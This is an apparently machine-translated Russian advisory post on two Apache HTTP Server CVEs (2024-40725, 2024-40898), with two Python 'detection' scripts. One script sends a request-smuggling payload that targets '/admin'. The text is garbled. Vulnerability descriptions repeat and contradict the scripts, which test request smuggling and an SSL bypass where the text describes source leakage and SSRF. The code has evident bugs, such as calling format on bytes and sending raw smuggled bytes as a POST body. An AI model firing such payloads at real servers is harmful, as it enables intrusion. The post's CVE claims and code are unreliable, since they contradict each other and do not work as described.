0x00 Предисловие
Apache HTTP Server (сокращенно Apache) — это веб-сервер с открытым исходным кодом Apache Software Foundation. Он может работать на большинстве компьютерных операционных систем. Благодаря своей кроссплатформенности и безопасности он широко используется и является самым популярным. программное обеспечение на стороне веб-сервера.
HTTP-сервер Apache отличается простотой, высокой скоростью, стабильной производительностью, безопасностью и надежностью. Его можно расширить с помощью простых API-интерфейсов и интегрировать языковые интерпретаторы, такие как Perl и Python.
0x01 Описание уязвимости
Функция ap_set_content_type_ex устанавливает запрошенный тип контента.
Затронутая версия не может правильно применить флаг доверия к подзапросам при обработке запросов. В некоторых случаях, когда файлы запрашиваются косвенно, AddType и подобные конфигурации могут привести к утечке содержимого локальных файлов сценариев. Злоумышленники могут использовать эту уязвимость для получения PHP. и т. д. Исходный код языка сценариев.
0x02 номер CVE
Уязвимость подделки запроса на стороне сервера (SSRF) существует, если модуль mod_rewrite используется на сервере или в среде виртуального хостинга. Эта уязвимость может позволить злоумышленнику передать хэши NTLM на вредоносный сервер через SSRF и вредоносные запросы.
Функция ap_set_content_type_ex устанавливает запрошенный тип контента.
Затронутая версия не может правильно применить флаг доверия к подзапросам при обработке запросов. В некоторых случаях, когда файлы запрашиваются косвенно, AddType и подобные конфигурации могут привести к утечке содержимого локальных файлов сценариев. Злоумышленники могут использовать эту уязвимость для получения PHP. и т. д. Исходный код языка сценариев.
0x03 затронутая версия
http_server@[2.4.60, 2.4.62)
apache2@ влияет на все версии
0x04 Подробности об уязвимости
Инструменты проверки уязвимостей:
https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898
CVE-2024-40725.py
import requests
import argparse
def detect_http_request_smuggling(target_url):
"""
Обнаружить цель Apache HTTP Server существует CVE-2024-40725 (HTTP Request Smuggling) лазейки
:param target_url: целевой сервер URL
"""
# структура HTTP Request Smuggling запрос на атаку
smuggled_request = (
"POST / HTTP/1.1\r\n"
"Host: {}\r\n"
"Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n\r\n"
"GET /admin HTTP/1.1\r\n"
"Host: {}\r\n"
"User-Agent: smuggle-test\r\n"
"\r\n"
).format(target_url, target_url)
try:
# Отправить запрос на целевой сервер
response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)
# Определите, указывает ли ответ на наличие лазейки
if response.status_code == 200 and "admin" in response.text:
print(f"цель {target_url} может существовать CVE-2024-40725 лазейки")
else:
print(f"цель {target_url} не существует CVE-2024-40725 лазейки")
except Exception as e:
print(f"Во время процесса обнаружения произошла ошибка: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Обнаружение CVE-2024-40725 лазейки')
parser.add_argument('-u', '--url', required=True, help='целевой сервер URL')
args = parser.parse_args()
detect_http_request_smuggling(args.url)
CVE-2024-40898 .py
import ssl
import socket
import argparse
def detect_ssl_verification_bypass(target_host, target_port):
"""
Обнаружить цель Apache HTTP Server существует CVE-2024-40898 (SSL Обход аутентификации) лазейки
:param target_host: целевой имя хоста сервера или IP адрес
:param target_port: целевой Номер сервера Порт
"""
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.verify_mode = ssl.CERT_OPTIONAL
try:
# Подключиться к целевому серверу
with socket.create_connection((target_host, target_port)) as sock:
with context.wrap_socket(sock, server_hostname=target_host) as ssock:
ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))
response = ssock.recv(4096)
# Определите, указывает ли ответ на наличие лазейки
if b"200 OK" in response:
print(f"цель {target_host}:{target_port} может существовать CVE-2024-40898 лазейки")
else:
print(f"цель {target_host}:{target_port} не существует CVE-2024-40898 лазейки")
except Exception as e:
print(f"Во время процесса обнаружения произошла ошибка: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Обнаружение CVE-2024-40898 лазейки')
parser.add_argument('-u', '--url', required=True, help='целевой сервер URL')
args = parser.parse_args()
# Разделить имя хоста и номер порта
target_host, target_port = args.url.split(":")
detect_ssl_verification_bypass(target_host, int(target_port))
ссылка на ссылку 0x05
https://httpd.apache.org/download.cgi
https://httpd.apache.org/security/vulnerabilities_24.html
Статьи и инструменты в этом официальном аккаунте предназначены только для ознакомления. Любые прямые или косвенные последствия и ущерб, вызванные распространением и использованием информации, представленной в этом документе, несут ответственность самого пользователя этого официального аккаунта и автора. статья не несут за это никакой ответственности.